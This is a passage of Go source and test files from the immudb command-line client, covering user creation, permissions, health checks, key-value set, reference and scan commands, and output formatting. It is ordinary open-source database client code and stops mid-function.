icMain.Ts, icMain.Options.GetImmudbClientOptions()) ic.Connect(icMain.Dialer) msg, err := ic.Imc.UserCreate(args) require.NoError(t, err, "TestUserCreate fail") require.Contains(t, msg, exp, "TestUserCreate failed to create user") }, }, { "Create user admin", []string{"myuseradmin", "admin", "defaultdb"}, "MyUser@9", "Created user", func(t *testing.T, password string, args []string, exp string) { ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{password, password}, }, icMain.Ts, icMain.Options.GetImmudbClientOptions()) ic.Connect(icMain.Dialer) msg, err := ic.Imc.UserCreate(args) require.NoError(t, err, "TestUserCreate fail") require.Contains(t, msg, exp, "TestUserCreate failed to create user") }, }, { "Create user wrong permission", []string{"myuserguard", "guard", "defaultdb"}, "MyUser@9", "permission value not recognized.", func(t *testing.T, password string, args []string, exp string) { ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{password, password}, }, icMain.Ts, icMain.Options.GetImmudbClientOptions()) ic.Connect(icMain.Dialer) msg, err := ic.Imc.UserCreate(args) require.NoError(t, err, "TestUserCreate fail") require.Contains(t, msg, exp, "TestUserCreate failed to create user") }, }, { "Create duplicate user", []string{"myuser", "readwrite", "defaultdb"}, "MyUser@9", "user already exists", func(t *testing.T, password string, args []string, exp string) { ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{password, password}, }, icMain.Ts, icMain.Options.GetImmudbClientOptions()) ic.Connect(icMain.Dialer) msg, err := ic.Imc.UserCreate(args) require.ErrorContains(t, err, exp, "TestUserCreate fail") require.Empty(t, msg) }, }, } for _, tt := range userCreateTests { t.Run(tt.name, func(t *testing.T) { tt.test(t, tt.password, tt.args, tt.expected) }) } } func TestUserChangePassword(t *testing.T) { ic := setupTest(t) var userCreateTests = []struct { name string args []string password string expected string test func(*testing.T, string, []string, string) }{ { "Change user password", []string{"immudb"}, "MyUser@9", "Password of immudb was successfully changed", func(t *testing.T, password string, args []string, exp string) { ic.Pr = &test.PasswordReader{ Pass: []string{"immudb", password, password}, } ic.Connect(ic.Dialer) msg, err := ic.Imc.ChangeUserPassword(args) require.NoError(t, err, "TestUserChangePassword fail") require.Contains(t, msg, exp, "TestUserChangePassword failed to change password") }, }, { "Change user password wrong old password", []string{"immudb"}, "MyUser@9", "old password is incorrect", func(t *testing.T, password string, args []string, exp string) { ic.Pr = &test.PasswordReader{ Pass: []string{password}, } ic.Connect(ic.Dialer) ic.Login("immudb") ic.Pr = &test.PasswordReader{ Pass: []string{"pass", password, password}, } ic.Connect(ic.Dialer) msg, err := ic.Imc.ChangeUserPassword(args) require.ErrorContainsf(t, err, exp, "TestUserChangePassword failed to change password: %s", msg) }, }, } for _, tt := range userCreateTests { t.Run(tt.name, func(t *testing.T) { tt.test(t, tt.password, tt.args, tt.expected) }) } } func TestUserSetActive(t *testing.T) { ic := setupTest(t) ic.Pr = &test.PasswordReader{ Pass: []string{"MyUser@9", "MyUser@9"}, } ic.Connect(ic.Dialer) _, err := ic.Imc.UserCreate([]string{"myuser", "readwrite", "defaultdb"}) require.NoError(t, err, "TestUserCreate fail") var userCreateTests = []struct { name string args []string password string expected string test func(*testing.T, string, []string, string) }{ { "SetActiveUser", []string{"myuser"}, "", "user status changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetActiveUser(args, true) require.NoError(t, err, "SetActiveUser fail") require.Contains(t, msg, exp, "SetActiveUser failed to change status") }, }, { "Deactivate user", []string{"myuser"}, "", "user status changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetActiveUser(args, false) require.NoError(t, err, "Deactivate fail") require.Contains(t, msg, exp, "Deactivate failed to change status") }, }, } for _, tt := range userCreateTests { t.Run(tt.name, func(t *testing.T) { tt.test(t, tt.password, tt.args, tt.expected) }) } } func TestSetUserPermission(t *testing.T) { ic := setupTest(t) ic.Pr = &test.PasswordReader{ Pass: []string{"MyUser@9", "MyUser@9"}, } ic.Connect(ic.Dialer) _, err := ic.Imc.UserCreate([]string{"myuser", "readwrite", "defaultdb"}) require.NoError(t, err, "TestUserCreate fail") var userCreateTests = []struct { name string args []string password string expected string test func(*testing.T, string, []string, string) }{ { "SetUserPermission user", []string{"grant", "myuser", "admin", "defaultdb"}, "MyUser@9", "permission changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetUserPermission(args) require.NoError(t, err, "SetUserPermission fail") require.Contains(t, msg, exp, "SetUserPermission failed to set user permission") }, }, { "SetUserPermission user", []string{"revoke", "myuser", "admin", "defaultdb"}, "MyUser@9", "permission changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetUserPermission(args) require.NoError(t, err, "SetUserPermission fail") require.Contains(t, msg, exp, "SetUserPermission failed to set user permission") }, }, { "SetUserPermission user", []string{"grant", "myuser", "readwrite", "defaultdb"}, "MyUser@9", "permission changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetUserPermission(args) require.NoError(t, err, "SetUserPermission fail") require.Contains(t, msg, exp, "SetUserPermission failed to set user permission") }, }, { "SetUserPermission user", []string{"grant", "myuser", "read", "defaultdb"}, "MyUser@9", "permission changed successfully", func(t *testing.T, password string, args []string, exp string) { msg, err := ic.Imc.SetUserPermission(args) require.NoError(t, err, "SetUserPermission fail") require.Contains(t, msg, exp, "SetUserPermission failed to set user permission") }, }, } for _, tt := range userCreateTests { t.Run(tt.name, func(t *testing.T) { tt.test(t, tt.password, tt.args, tt.expected) }) } } ================================================ FILE: cmd/immuclient/immuc/misc.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "context" "strings" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) HealthCheck(args []string) (string, error) { ctx := context.Background() if _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.HealthCheck(ctx) }); err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return "Health check OK", nil } ================================================ FILE: cmd/immuclient/immuc/misc_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func TestMiscErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} ic := &immuc{ImmuClient: immuClientMock} // History errors args := []string{"key1"} immuClientMock.HistoryF = func(context.Context, *schema.HistoryOptions) (*schema.StructuredItemList, error) { return nil, status.New(codes.Internal, "history RPC error").Err() } resp, err := ic.History(args) require.NoError(t, err) require.Equal(t, " history RPC error", resp) errHistory := errors.New("history error") immuClientMock.HistoryF = func(context.Context, *schema.HistoryOptions) (*schema.StructuredItemList, error) { return nil, errHistory } _, err = ic.History(args) require.ErrorIs(t, err, errHistory) // HealthCheck errors immuClientMock.HealthCheckF = func(context.Context) error { return status.New(codes.Internal, "health check RPC error").Err() } resp, err = ic.HealthCheck(nil) require.NoError(t, err) require.Equal(t, " health check RPC error", resp) errHealthCheck := errors.New("health check error") immuClientMock.HealthCheckF = func(context.Context) error { return errHealthCheck } _, err = ic.HealthCheck(nil) require.ErrorIs(t, err, errHealthCheck) } */ ================================================ FILE: cmd/immuclient/immuc/misc_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestHealthCheck(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.HealthCheck(nil) require.NoError(t, err, "HealthCheck fail") require.Contains(t, msg, "Health check OK") } ================================================ FILE: cmd/immuclient/immuc/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "github.com/codenotary/immudb/pkg/client" ) type Options struct { immudbClientOptions *client.Options valueOnly bool revisionSeparator string } func (o *Options) GetImmudbClientOptions() *client.Options { return o.immudbClientOptions } func (o *Options) WithImmudbClientOptions(opts *client.Options) *Options { o.immudbClientOptions = opts return o } func (o *Options) GetValueOnly() bool { return o.valueOnly } func (o *Options) WithValueOnly(valueOnly bool) *Options { o.valueOnly = valueOnly return o } func (o *Options) GetRevisionSeparator() string { return o.revisionSeparator } func (o *Options) WithRevisionSeparator(revisionSeparator string) *Options { o.revisionSeparator = revisionSeparator return o } ================================================ FILE: cmd/immuclient/immuc/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "testing" "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { o := &Options{} clOpts := &client.Options{} o.WithImmudbClientOptions(clOpts) require.Equal(t, clOpts, o.GetImmudbClientOptions()) o.WithValueOnly(true) require.Equal(t, true, o.GetValueOnly()) o.WithRevisionSeparator("revsep") require.Equal(t, "revsep", o.GetRevisionSeparator()) } ================================================ FILE: cmd/immuclient/immuc/print.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "fmt" "strings" "time" "github.com/codenotary/immudb/pkg/api/schema" ) // PrintKV ... func PrintKV( entry *schema.Entry, verified, valueOnly bool, ) string { if valueOnly { return fmt.Sprintf("%s\n", entry.Value) } str := &strings.Builder{} fmt.Fprintf(str, "tx: %d\n", entry.Tx) if entry.Revision != 0 { fmt.Fprintf(str, "rev: %d\n", entry.Revision) } fmt.Fprintf(str, "key: %s\n", entry.Key) if entry.Metadata != nil { fmt.Fprintf(str, "metadata: {%s}\n", entry.Metadata) } fmt.Fprintf(str, "value: %s\n", entry.Value) if verified { fmt.Fprintf(str, "verified: %t\n", verified) } return str.String() } // PrintSetItem ... func PrintSetItem(set []byte, referencedkey []byte, score float64, txhdr *schema.TxHeader, verified bool) string { return fmt.Sprintf("tx: %d\nset: %s\nreferenced key: %s\nscore: %f\nhash: %x\nverified: %t\n", txhdr.Id, set, referencedkey, score, txhdr.EH, verified) } func PrintServerInfo(resp *schema.ServerInfoResponse) string { return fmt.Sprintf("version: %s", resp.GetVersion()) } func PrintHealth(res *schema.DatabaseHealthResponse) string { return fmt.Sprintf("pendingRequests: %d\nlastRequestCompletedAt: %s\n", res.PendingRequests, time.Unix(0, res.LastRequestCompletedAt*int64(time.Millisecond))) } // PrintState ... func PrintState(root *schema.ImmutableState) string { if root.TxId == 0 { return fmt.Sprintf("database '%s' is empty\n", root.Db) } str := strings.Builder{} if root.PrecommittedTxId == 0 { str.WriteString(fmt.Sprintf("database: %s\n", root.Db)) str.WriteString(fmt.Sprintf("txID: %d\n", root.TxId)) str.WriteString(fmt.Sprintf("hash: %x\n", root.TxHash)) } else { str.WriteString(fmt.Sprintf("database: %s\n", root.Db)) str.WriteString(fmt.Sprintf("txID: %d\n", root.TxId)) str.WriteString(fmt.Sprintf("hash: %x\n", root.TxHash)) str.WriteString(fmt.Sprintf("precommittedTxID: %d\n", root.PrecommittedTxId)) str.WriteString(fmt.Sprintf("precommittedHash: %x\n", root.PrecommittedTxHash)) } return str.String() } // PrintTx ... func PrintTx(tx *schema.Tx, verified bool) string { str := strings.Builder{} str.WriteString(fmt.Sprintf("tx: %d\n", tx.Header.Id)) str.WriteString(fmt.Sprintf("time: %s\n", time.Unix(int64(tx.Header.Ts), 0))) str.WriteString(fmt.Sprintf("entries: %d\n", tx.Header.Nentries)) str.WriteString(fmt.Sprintf("hash: %x\n", schema.TxHeaderFromProto(tx.Header).Alh())) if verified { str.WriteString(fmt.Sprintf("verified: %t \n", verified)) } return str.String() } // PadRight ... func PadRight(str, pad string, length int) string { for { str += pad if len(str) > length { return str[0:length] } } } ================================================ FILE: cmd/immuclient/immuc/references.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "bufio" "bytes" "context" "io" "io/ioutil" "os" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) SetReference(args []string) (string, error) { var reader io.Reader if len(args) > 1 { reader = bytes.NewReader([]byte(args[1])) } else { reader = bufio.NewReader(os.Stdin) } key, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0]))) if err != nil { return "", err } var buf bytes.Buffer tee := io.TeeReader(reader, &buf) referencedKey, err := ioutil.ReadAll(tee) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.SetReference(ctx, key, referencedKey) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } value, err := ioutil.ReadAll(&buf) if err != nil { return "", err } txhdr := response.(*schema.TxHeader) return PrintKV( &schema.Entry{ Key: []byte(args[0]), Value: value, Tx: txhdr.Id, }, false, false, ), nil } func (i *immuc) VerifiedSetReference(args []string) (string, error) { var reader io.Reader if len(args) > 1 { reader = bytes.NewReader([]byte(args[1])) } else { reader = bufio.NewReader(os.Stdin) } key, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0]))) if err != nil { return "", err } var buf bytes.Buffer tee := io.TeeReader(reader, &buf) referencedKey, err := ioutil.ReadAll(tee) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedSetReference(ctx, key, referencedKey) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } value, err := ioutil.ReadAll(&buf) if err != nil { return "", err } txhdr := response.(*schema.TxHeader) return PrintKV( &schema.Entry{ Key: []byte(args[0]), Value: value, Tx: txhdr.Id, }, true, false, ), nil } ================================================ FILE: cmd/immuclient/immuc/references_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func TestReferencesErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} ic := &immuc{ImmuClient: immuClientMock} // Reference errors args := []string{"refKey1", "key1"} immuClientMock.ReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*schema.Index, error) { return nil, status.New(codes.Internal, "reference RPC error").Err() } resp, err := ic.Reference(args) require.NoError(t, err) require.Equal(t, " reference RPC error", resp) errReference := errors.New("reference error") immuClientMock.ReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*schema.Index, error) { return nil, errReference } _, err = ic.Reference(args) require.ErrorIs(t, err, errReference) // SafeReference errors immuClientMock.SafeReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*client.VerifiedIndex, error) { return nil, status.New(codes.Internal, "safe reference RPC error").Err() } resp, err = ic.SafeReference(args) require.NoError(t, err) require.Equal(t, " safe reference RPC error", resp) errSafeReference := errors.New("safe reference error") immuClientMock.SafeReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*client.VerifiedIndex, error) { return nil, errSafeReference } _, err = ic.SafeReference(args) require.ErrorIs(t, err, errSafeReference) } */ ================================================ FILE: cmd/immuclient/immuc/references_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestReference(t *testing.T) { ic := setupTest(t) _, _ = ic.Imc.Set([]string{"key", "val"}) msg, err := ic.Imc.SetReference([]string{"val", "key"}) require.NoError(t, err, "Reference fail") require.Contains(t, msg, "value", "Reference failed") } func TestVerifiedSetReference(t *testing.T) { t.SkipNow() ic := setupTest(t) _, _ = ic.Imc.Set([]string{"key", "val"}) msg, err := ic.Imc.VerifiedSetReference([]string{"val", "key"}) require.NoError(t, err, "SafeReference fail") require.Contains(t, msg, "hash", "SafeReference failed") } ================================================ FILE: cmd/immuclient/immuc/scanners.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "context" "fmt" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) ZScan(args []string) (string, error) { set := []byte(args[0]) ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.ZScan(ctx, &schema.ZScanRequest{Set: set, NoWait: true}) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } str := strings.Builder{} zEntries := response.(*schema.ZEntries) if len(zEntries.Entries) == 0 { str.WriteString("no entries") return str.String(), nil } for j, entry := range zEntries.Entries { if j > 0 { str.WriteString("\n") } str.WriteString(PrintKV(entry.Entry, false, i.options.valueOnly)) } return str.String(), nil } func (i *immuc) Scan(args []string) (res string, err error) { prefix := []byte(args[0]) ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Scan(ctx, &schema.ScanRequest{Prefix: prefix, NoWait: true}) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } str := strings.Builder{} entries := response.(*schema.Entries) if len(entries.Entries) == 0 { str.WriteString("no entries") return str.String(), nil } for j, entry := range entries.Entries { if j > 0 { str.WriteString("\n") } str.WriteString(PrintKV(entry, false, i.options.valueOnly)) } return str.String(), nil } func (i *immuc) Count(args []string) (string, error) { prefix := []byte(args[0]) ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Count(ctx, prefix) }) if err != nil { return "", err } return fmt.Sprint(response.(*schema.EntryCount).Count), nil } ================================================ FILE: cmd/immuclient/immuc/scanners_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "testing" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" ) func TestScannersErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} ic := &immuc{ImmuClient: immuClientMock} // ZScan errors args := []string{"set1"} immuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) { return nil, status.New(codes.Internal, "zscan RPC error").Err() } resp, err := ic.ZScan(args) require.NoError(t, err) require.Equal(t, " zscan RPC error", resp) errZScan := errors.New("zscan error") immuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) { return nil, errZScan } _, err = ic.ZScan(args) require.ErrorIs(t, err, errZScan) immuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) { return &schema.ZStructuredItemList{}, nil } resp, err = ic.ZScan(args) require.NoError(t, err) require.Equal(t, "0", resp) // IScan errors _, err = ic.IScan([]string{"X"}) require.Error(t, err) _, err = ic.IScan([]string{"1", "X"}) require.Error(t, err) args = []string{"1", "2"} immuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) { return nil, status.New(codes.Internal, "iscan RPC error").Err() } resp, err = ic.IScan(args) require.NoError(t, err) require.Equal(t, " iscan RPC error", resp) errIScan := errors.New("iscan error") immuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) { return nil, errIScan } _, err = ic.IScan(args) require.ErrorIs(t, err, errIScan) immuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) { return &schema.SPage{}, nil } resp, err = ic.IScan(args) require.NoError(t, err) require.Equal(t, "0", resp) // Scan errors args = []string{"prefix1"} immuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) { return nil, status.New(codes.Internal, "scan RPC error").Err() } resp, err = ic.Scan(args) require.NoError(t, err) require.Equal(t, " scan RPC error", resp) errScan := errors.New("scan error") immuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) { return nil, errScan } _, err = ic.Scan(args) require.ErrorIs(t, err, errScan) immuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) { return &schema.StructuredItemList{}, nil } resp, err = ic.Scan(args) require.NoError(t, err) require.Equal(t, "0", resp) // Count errors errCount := errors.New("count error") immuClientMock.CountF = func(context.Context, []byte) (*schema.ItemsCount, error) { return nil, errCount } _, err = ic.Count(args) require.ErrorIs(t, err, errCount) } */ ================================================ FILE: cmd/immuclient/immuc/scanners_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestZScan(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err, "Set fail") _, err = ic.Imc.ZAdd([]string{"set", "10.5", "key"}) require.NoError(t, err, "ZAdd fail") msg, err := ic.Imc.ZScan([]string{"set"}) require.NoError(t, err, "ZScan fail") require.Contains(t, msg, "value", "ZScan failed") } func TestIScan(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err, "Set fail") } func TestScan(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err, "Set fail") msg, err := ic.Imc.Scan([]string{"k"}) require.NoError(t, err, "Scan fail") require.Contains(t, msg, "value", "Scan failed") } func TestCount(t *testing.T) { t.SkipNow() ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err, "Set fail") msg, err := ic.Imc.Count([]string{"key"}) require.NoError(t, err, "Count fail") require.Contains(t, msg, "1", "Count failed") } ================================================ FILE: cmd/immuclient/immuc/server_info.go ================================================ package immuc import ( "context" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) ServerInfo(args []string) (string, error) { ctx := context.Background() resp, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.ServerInfo(ctx, &schema.ServerInfoRequest{}) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return PrintServerInfo(resp.(*schema.ServerInfoResponse)), nil } ================================================ FILE: cmd/immuclient/immuc/server_info_test.go ================================================ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestServerInfo(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.ServerInfo(nil) require.NoError(t, err, "ServerInfo fail") require.Contains(t, msg, "version") } ================================================ FILE: cmd/immuclient/immuc/setcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "bufio" "bytes" "context" "fmt" "io" "io/ioutil" "os" "strconv" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) Set(args []string) (string, error) { var reader io.Reader if len(args) > 1 { reader = bytes.NewReader([]byte(args[1])) } else { reader = bufio.NewReader(os.Stdin) } key, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0]))) if err != nil { return "", err } value, err := ioutil.ReadAll(reader) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Set(ctx, key, value) }) if err != nil { return "", err } txhdr := response.(*schema.TxHeader) scstr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.GetSince(ctx, key, txhdr.Id) }) if err != nil { return "", err } return PrintKV(scstr.(*schema.Entry), false, false), nil } func (i *immuc) VerifiedSet(args []string) (string, error) { var reader io.Reader if len(args) > 1 { reader = bytes.NewReader([]byte(args[1])) } else { reader = bufio.NewReader(os.Stdin) } key, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0]))) if err != nil { return "", err } value, err := ioutil.ReadAll(reader) if err != nil { return "", err } ctx := context.Background() if _, err = i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedSet(ctx, key, value) }); err != nil { return "", err } vi, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedGet(ctx, key) }) if err != nil { return "", err } return PrintKV(vi.(*schema.Entry), true, false), nil } func (i *immuc) Restore(args []string) (string, error) { key, atRevision, hasRevision, err := i.parseKeyArg(args[0]) if err != nil { return "", err } if !hasRevision { return "please specify the key with revision to restore", nil } if atRevision == 0 { return "can not restore current revision", nil } ctx := context.Background() oldValue, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Get(ctx, key, client.AtRevision(atRevision)) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("key not found: %v ", string(key)), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } oldEntry := oldValue.(*schema.Entry) newValue, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.SetAll(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: oldEntry.Key, Value: oldEntry.Value, }}, }) }) if err != nil { return "", err } txhdr := newValue.(*schema.TxHeader) scstr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.GetSince(ctx, key, txhdr.Id) }) if err != nil { return "", err } return PrintKV(scstr.(*schema.Entry), false, false), nil } func (i *immuc) DeleteKey(args []string) (string, error) { key := []byte(args[0]) ctx := context.Background() _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return 